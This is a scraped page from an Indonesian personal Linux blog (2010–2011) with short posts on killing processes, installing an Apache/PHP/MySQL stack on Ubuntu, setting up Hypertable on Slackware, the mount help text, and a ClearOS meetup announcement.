Linux merupakan sistem operasi yang sangat powerfull. Dengan menggunakan linux, Anda akan mendapatkan ribuan aplikasi, tools, utility, dan perintah yang dapat Anda pakai. Pada postingan saya kali ini khusus membahas utilities dan perintah di terminal untuk menghentikan aplikasi yang sedang berjalan dengan mudah. Langsung saja...

Pengguna windows sudah tidak asing lagi dengan adanya aplikasi bernama task manager. Ketika ada program yang running dalam keadaan error atau nge-hank, tinggal buka task manager dan pilih program yang akan diberhentikan prosesnya. Jika proses memberhentikan proses gagal, maka pengguna akan dihadapkan pada sebuah form yang membuat pengguna untuk melaporkan nya kepada Microsoft. Sedangkan di linux ada beberapa utilitis yang dapat digunakan untuk memberhentikan proses secara paksa, dengan cepat tentunya.

Pengaturan proses dari command line
Sebelum memulai untuk mengatur jalannya proses di linux, kita harus tau dahulu cara kerja dari sebuah proses yang berjalan. Semua proses yang berjalan di linux ditunjukkan dengan sebuah nama dan sebuah nomer proses atau disebut PID (Process ID). Nama dari aplikasi yang berjalan biasanya berupa /usr/bin/hypertable sedangkan nomor proses contohnya seperti 17002.

Ada dua cara yang digunakan untuk memberhentikan proses. Jika kita mengetahui nama proses, gunakan perintah :
killall command(nama proses)

tetapi jika nama proses tidak diketahui, yang Anda ketahui hanya nomor proses, lakukan perintah di bawah ini :
kill command(nomor proses)


Untuk melihat apa saja proses yang sedang berjalan, dapat menggunakan perintah “top” , berikut adalah screenshoot untuk aplikasi top.

Nah...mudah kan? :D

Selain menggunakan utilitis top, untuk melihat proses yang berjalan dapat juga dengan menggunakan perintah “ps”. Misal kita akan melihat PID dari opera. Pergunakan perintah di bawah ini:
ps aux | grep opera

screenshoot nya seperti di bawah ini :

Sedangkan untuk mengetahui option apa saja yang terdapat pada utilitis kill, langsung saja ketikkan :
help kill

berikut screenshoot hasilnya:


Happy ngoprek!!!
9:40 PM | 0 comments | Read More

Cara cepat install dan setting web server di ubuntu

Written By pcbolong on Saturday, April 2, 2011 | 5:29 AM

Menurut saya, ubuntu adalah distro linux yang paling mudah untuk dikonfigurasi. Saking gampangnya, kadang saya menyepelekan beberapa cara administrasi server. :D Salah satunya adalah meng-install web server di ubuntu. Langsung saja, ini caranya :

1. Buka terminal sebagai root. Kemudian ketikkan perintah di bawah ini:
apt-get update
.
Setelah proses update repository selesai, ketikkan perintah di bawah ini.
apt-get install apache2 apache2.2-common apache2-doc apache2-mpm-prefork apache2-utils

2. tunggu sampai proses instalasi apache sebagai web server selesai. lamanya, tergantung dari kecepatan koneksi internet anda. setelah selesai, ketikkan lagi perintah di bawah ini.
apt-get install php5 libapache2-mod-php5 php5-common php5-gd php5-mysql php5-imap php5-cli php5-cgi php-pear php-auth

perintah di atas digunakan untuk meng-install dan configure php dengan menggunakan apache. Saat instalasi berjalan, akan ditanyakan web server apa yang akan digunakan, apakah apache atau lightpd.
3. setelah install php selesai, ketikkan perintah di bawah ini:
apt-get install mysql-server mysql-client

perintah di atas digunakan untuk meng-install mysql sebagai database server. Saat proses instalasi ditanyakan password database yang akan digunakan.
4. sampai langkah di atas, proses instalasi sudah selesai. sebagai tambahan saya meng-install phpmyadmin dengan cara :
apt-get install phpmyadmin

5. sudah selesai tinggal restat service apache dan mysql dengan peritah di bawah ini:
/etc/init.d/mysql restart

/etc/init.d/apache2 restart


untuk mencoba apakah web server sudah siap dipakai, coba bikin file bernama index.php di root folder web server yaitu /var/www
isi file index.php dengan :
phpinfo();
?>


taraaaaaa..ini hasil nya :D



udah ahhh... :D happy ngoprek
5:29 AM | 0 comments | Read More

E-book Centos

Written By pcbolong on Tuesday, March 15, 2011 | 9:13 AM



E-book centos bisa didownload di sini
9:13 AM | 0 comments | Read More

Pertemuan rutin ClearOS Jogja

Written By pcbolong on Monday, March 14, 2011 | 8:48 AM

Dengan ini, Kami selaku Koordinator wilayah ClearOS Indonesia untuk daerah Yogyakarta, akan mengadakan pertemuan rutin pada :

Hari/Tgl : Minggu,20 Maret 2011
Pukul : Jam 9.00 - 12.00
Tempat : Ar-Rizzqu Research&Lab, Peleman RT.04 Tamantirto Kasihan Bantul Yogyakarta Indonesia
(Depan UMY Baru-Ringroad Barat).
Acara : Install bareng ClearOS, dan dilanjutkan konfigurasi router sederhana. Jika ada rekan2 jogja yang mempunyai ide untuk bahan ngoprek bareng, dipersilahkan.


**Terbuka untuk umum juga bagi yang belum mengenal ClearOS. Contact person bisa hubungi saya.
(0274-6550687)
**GRATEEEEEEEEESSSSSSSSSSSSS!!!!!!!!!!!
**Rekan2 yang ingin install di komputer sendiri, bisa dibawa sekalian pc nya.

Info lebih lanjut : http://www.facebook.com/event.php?eid=182686418443445
8:48 AM | 0 comments | Read More

no no sql sql no sql,,xixixi

Written By pcbolong on Monday, March 7, 2011 | 1:33 PM

HAHA, lagi seneng ngoprek ama yang unik2, ama hal yang g biasa. Salah satunya ini,NO SQL. :D sekarang, eh sejak dulu ding, aku pake hypertable. iNI tulisan pertama ku tentang no sql: menanam-hypertable-di-slackware-13 . Bedanya, pertama ak kenal nosql waktu makek slackware sebagai os untuk desktop ku, yang ak pake buat kerja sehari-hari. TRus ak ganti centos jg masih ada tuh hypertable. Sampai sekarang ak pake ubuntu 10.10 di netbook ku, ak pake ini jg. :D Kapan2 bikin tutorialnya ahhh,,,tp sekarang gambar nya aja dl ya hehe :D

1:33 PM | 0 comments | Read More

Ikan bobok yaahh... ^,*

Written By pcbolong on Thursday, August 12, 2010 | 1:49 AM

Hmm....siang yang panas. Bosen juga bingung mau ngapain. Habis kerja malem, mata terasa berat tapi gak bisa tidur. Pengen melakukan sesuatu yang bisa menambah penghasilan, but...until this day, aku masih bingung mo ngerjain apa -,- Hohohohoho,,,,sejenak, lamunanku melayang...ditemani laptop tua yang masih bertenaga ini, dengan debian leny nya. Jauh,,,terbang ke awan sana, dengan hanya sebelah sayap, karena memang aku belum mempunyai seseorang yang rela memberikan sayapnya padaku agar bisa terbang bersama, menuju indah nya dunia diawan sana. haghaghaghag romantis bgt ya ak,,,,hmmm...

Makin lama makin panas hawanya. Enaknya kalo ada kolam renang, terus nyemplung..byur....ato ada aliran sungai yang jernih. Hemmm....lantas reflek aku tekan aja tombol alt+f2 secara bersamaan. sampe muncul prompt dibawah ini :

terus ketik aja "free the fish" di field yang ada. tanpa tanda petik loohh... :D
Nah,,,lagsung muncul deh..."Ikaaannnn booboookkk yaahhhh....*,*"
1:49 AM | 0 comments | Read More

Mount point

Written By pcbolong on Saturday, July 3, 2010 | 5:32 AM

Usage: mount -V : print version
mount -h : print this help
mount : list mounted filesystems
mount -l : idem, including volume labels
So far the informational part. Next the mounting.
The command is `mount [-t fstype] something somewhere'.
Details found in /etc/fstab may be omitted.
mount -a [-t|-O] ... : mount all stuff from /etc/fstab
mount device : mount device at the known place
mount directory : mount known device here
mount -t type dev dir : ordinary mount command
Note that one does not really mount a device, one mounts
a filesystem (of the given type) found on the device.
One can also mount an already visible directory tree elsewhere:
mount --bind olddir newdir
or move a subtree:
mount --move olddir newdir
One can change the type of mount containing the directory dir:
mount --make-shared dir
mount --make-slave dir
mount --make-private dir
mount --make-unbindable dir
One can change the type of all the mounts in a mount subtree
containing the directory dir:
mount --make-rshared dir
mount --make-rslave dir
mount --make-rprivate dir
mount --make-runbindable dir
A device can be given by name, say /dev/hda1 or /dev/cdrom,
or by label, using -L label or by uuid, using -U uuid .
Other options: [-nfFrsvw] [-o options] [-p passwdfd].
For many more details, say man 8 mount .
5:32 AM | 0 comments | Read More

Menanam Hypertable di Slackware 13

Written By pcbolong on Thursday, July 1, 2010 | 11:58 PM

Setelah server crawler saya yang menggunakan debian tidak bisa booting, karena bad sector pada hardisk, terpaksa saya menggunakan laptop dengan slackware nya untuk dijadikan server cadangan sampai server aslinya sembuh. Server crawler ini adalah penelitian skripsi saya. Jadi sangat penting :D . Sebelumnya, saya sudah mencoba install hypertable sebagai database crawler di slackware, tetapi selalu gagal. Kali ini dengan desakan dan pojokan, akhirnya berhasil. Ternyata hanya kurang membaca saja. ^,^

Berikut langkahnya:
1. Download file source hypertable lengkap dengan Thrift broker nya dalam bentuk archive di sini

2. Extrack file menggunakan perintah

root@darkstar:/media/disk/Master/hypertable# tar –jxvf hypertable-0.9.3.3-linux-i386.tar.bz2


3. Hasil extrack –an nya bernama hypertable-0.9.3.3-linux-i386/ . Copy folder hypertable yang ada di dalamnya ke dalam direktori /opt/ di root dengan perintah

cp –a hypertable-0.9.3.3-linux-i386/opt/hypertable /opt


4. Nah, lalu jalankan file fhsize.sh dengan perintah

/opt/hypertable/0.9.3.3/bin/fhsize.sh


Hasilnya adalah :

Setting up /var/opt/hypertable
Setting up /etc/opt/hypertable

To run Hypertable under user , do something like the following:
sudo chown -R /var/opt/hypertable /etc/opt/hypertable

For log rotation, install cronolog and (re)start Hypertable.


5. Sampai langkah di atas, berarti hypertable telah terinstal. Perlu diketahui, fhsize.sh adalah sebuah file yang berisi script yang akan memodifikasi proses instalasi agar sesuai dengan Filesystem Hierarchy Standart.
6. Setelah instalasi selesai, buatlah link dari /opt/hypertable/current ke versi yang anda miliki. Versi hypertable saya adalah 0.9.3.3. Perintahnya adalah:

cd /opt/hypertable
ln –s 0.9.3.3 current


7. Untuk mencoba apakah hypertable benar-benar sudah terinstall dan bisa berjalan, buktikan.. :D dengan perintah :

/opt/hypertable/current/bin/ht start all-servers local


Hasilnya adalah :

DFS broker: available file descriptors: 1024
Started DFS Broker (local)
Started Hyperspace
Started Hypertable.Master
Started Hypertable.RangeServer
Started ThriftBroker


8. Dan untuk menggunakan, masuk ke hypertable shell :

/opt/hypertable/current/bin/ht shell


Hasilnya :

Welcome to the hypertable command interpreter.
For information about Hypertable, visit http://www.hypertable.org/

Type 'help' for a list of commands, or 'help shell' for a
list of shell meta commands.

hypertable>



TARAAAAAAAAAAAAAA….hypertable aka noSQL variant is ready to use. Happy coding :D
11:58 PM | 1 comments | Read More

crash di kword

Written By pcbolong on Saturday, June 19, 2010 | 1:38 PM



yEEEiiyyyHHhh....
1:38 PM | 0 comments | Read More